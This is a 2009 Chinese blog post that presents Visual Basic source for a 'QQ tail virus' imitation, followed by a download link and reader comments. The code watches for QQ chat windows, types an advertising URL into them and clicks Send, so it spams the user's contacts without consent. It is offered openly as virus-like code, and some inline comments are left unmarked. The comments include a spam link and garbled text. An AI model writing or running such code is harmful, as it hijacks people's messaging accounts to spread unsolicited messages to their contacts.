Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function sendmessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SetFocuss Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Const BM_CLICK = &HF5
Private Const GW_Child = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDNEXT = 2
Private Sub Form_Load()
Timer1.Interval = 200
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim thewindow As Long
Dim sText As String * 255
Dim TextObj As Long
Dim thewindow_title As String
thewindow = GetForegroundWindow 获得当前窗口句柄
If thewindow = 0 Then Exit Sub
thewindow_title = Left$(sText, GetWindowText(thewindow, sText, 255)) 得到聊天窗口标题~
If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "- 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
TextObj = FindWindowEx(thewindow, 0, "#32770", vbNullString) 通用对话框的类
Me.Caption = TextObj
If TextObj = 0 Then Exit Sub
SetFocuss TextObj
SendKeys "欢迎访问http://www.redicecn.cn"
send TextObj
Else
Exit Sub
End If
End Sub
Private Sub send(thehwnd As Long)
Dim temhwnd As Long
Dim sText As String * 255
temhwnd = GetWindow(thehwnd, GW_Child)
temhwnd = GetWindow(temhwnd, GW_HWNDFIRST)
While temhwnd <> 0
DoEvents
Title = Left$(sText, GetWindowText(temhwnd, sText, 255))
If InStr(Title, "发送") Then
sendmessage temhwnd, BM_CLICK, 0&, 0&
Exit Sub
End If
temhwnd = GetWindow(temhwnd, GW_HWNDNEXT)
Wend
End Sub
附程序:
File: Click to Download
VB模拟QQ尾巴病毒
[日志分享]
[日志信息]
该日志于 2009-02-25 14:47 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “VB模拟QQ尾巴病毒” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!! (尊重他人劳动,你我共同努力)
呵呵,谢谢
VaTG790i.最好的<a href=http://www.kyfei.com>网站推广软件</a>,
非常好
....................
;ui;普i;uighur;ui;ui;个
在unix网络编程中看到了关于TCP/IP的一些内容,我感觉还是写的不够。正在下载中,一定
下载地址呢